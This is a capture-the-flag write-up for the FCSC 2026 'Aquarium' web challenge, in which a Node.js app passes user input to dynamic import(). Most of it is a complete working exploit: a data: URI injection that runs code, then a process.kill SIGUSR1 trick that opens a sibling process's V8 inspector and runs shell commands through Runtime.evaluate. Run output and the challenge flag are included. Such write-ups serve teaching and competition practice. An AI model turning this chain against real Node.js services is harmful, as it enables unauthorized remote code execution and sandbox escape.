FCSC Aquarium [EN]| FCSC 2026

- 3 mins read

FCSC Aquarium | FCSC 2026

Challenge

The challenge gives us the full source of a Dockerized Node.js web app that serves an animated aquarium page. There is a SUID binary /getflag that reads the flag from /root/flag.txt. Goal is obvious.

Looking at the source

Two services run inside the container via supervisord.

The web app (server.mjs) is started with the Node.js permission model:

node --permission --allow-fs-read=/ /usr/app/server.mjs

The second one is a messages service (messages.js) started like this:

node /home/ctf/messages.js

No --permission flag on that one. That’s interesting.

The import trick

In server.mjs, the /language endpoint does a dynamic import with user input:

app.post("/language", async (req, res) => {
  const requested = req.body?.lang || "fr";
  try {
    res.json(await import(requested + "/index.js"));
  } catch {
    res.json(await import("fr/index.js"));
  }
});

requested comes straight from the body with zero sanitization. Node.js import() supports data: URIs, so I can inject arbitrary JS like:

lang = "data:text/javascript,<code>//"

The server evaluates import("data:text/javascript,<code>///index.js") and the trailing ///index.js becomes a comment. Free code execution.

The permission model problem

Ok so the web app runs under Node.js 24’s permission model. This blocks a lot of stuff.

  • child_process: blocked.
  • worker_threads: blocked.
  • process.binding(): blocked.
  • process.dlopen(): blocked.
  • fs.write: blocked too.

But fs.read* is allowed on all paths. Network (http, websocket) is allowed. And process.kill() is allowed because it is just a wrapper around the kill(2) syscall.

So I can run JS but I can not spawn processes or write files. Direct RCE from the web app is not happening.

Pivoting to messages.js

The messages service runs without --permission. It has full access to child_process, file writes, everything. Both processes run as the ctf user.

After a while I noticed that process.kill() is not restricted by the permission model. It is literally just a kill(2) wrapper. Sending SIGUSR1 to a Node.js process activates its V8 inspector on 127.0.0.1:9229.

So the plan is:

  • Read /proc to find the PID of messages.js
  • Send it SIGUSR1 to start the debugger
  • Connect to the debugger via WebSocket from the web app (network is allowed)
  • Use Runtime.evaluate to run child_process.execSync("/getflag") in the messages.js context

Node.js 24 has a global WebSocket class so I do not even need any external library for that last part.

Exploit

#!/usr/bin/env python3
import requests
import json

TARGET = "https://fcsc-aquarium.fcsc.fr"

JS = r"""
import { readFileSync, readdirSync } from "node:fs";
import { get } from "node:http";

let res = "INIT";
try {
  let pid = null;
  for (const p of readdirSync("/proc").filter(f => /^\d+$/.test(f))) {
    try {
      const cmd = readFileSync("/proc/" + p + "/cmdline", "utf-8");
      if (cmd.includes("messages.js")) { pid = parseInt(p); break; }
    } catch {}
  }

  process.kill(pid, "SIGUSR1");
  await new Promise(r => setTimeout(r, 1000));

  const targets = await new Promise((ok, ko) => {
    get("http://127.0.0.1:9229/json", resp => {
      let d = "";
      resp.on("data", c => d += c);
      resp.on("end", () => ok(JSON.parse(d)));
    }).on("error", ko);
  });

  const url = targets[0].webSocketDebuggerUrl;

  res = await new Promise((ok) => {
    const ws = new WebSocket(url);
    ws.onopen = () => {
      ws.send(JSON.stringify({
        id: 1,
        method: "Runtime.evaluate",
        params: {
          expression: 'process.mainModule.require("child_process").execSync("/getflag").toString()',
          returnByValue: true
        }
      }));
    };
    ws.onmessage = (e) => {
      ok(JSON.parse(e.data.toString()));
      ws.close();
    };
    ws.onerror = (e) => ok("Error: " + String(e));
  });
  res = JSON.stringify(res);
} catch (e) {
  res = "Error: " + e.message;
}

export default { disclaimer: res };
""".strip()

def build(code):
    return f"data:text/javascript,{code.replace(chr(10), '%0A')}//"

r = requests.post(
    f"{TARGET}/language",
    headers={"Content-Type": "application/json"},
    data=json.dumps({"lang": build(JS)}),
)
print(r.json())
$ python3 solve.py
{'default': {'disclaimer': '{"id":1,"result":{"result":{"type":"string","value":"FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}"}}}'}}

Flag

FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}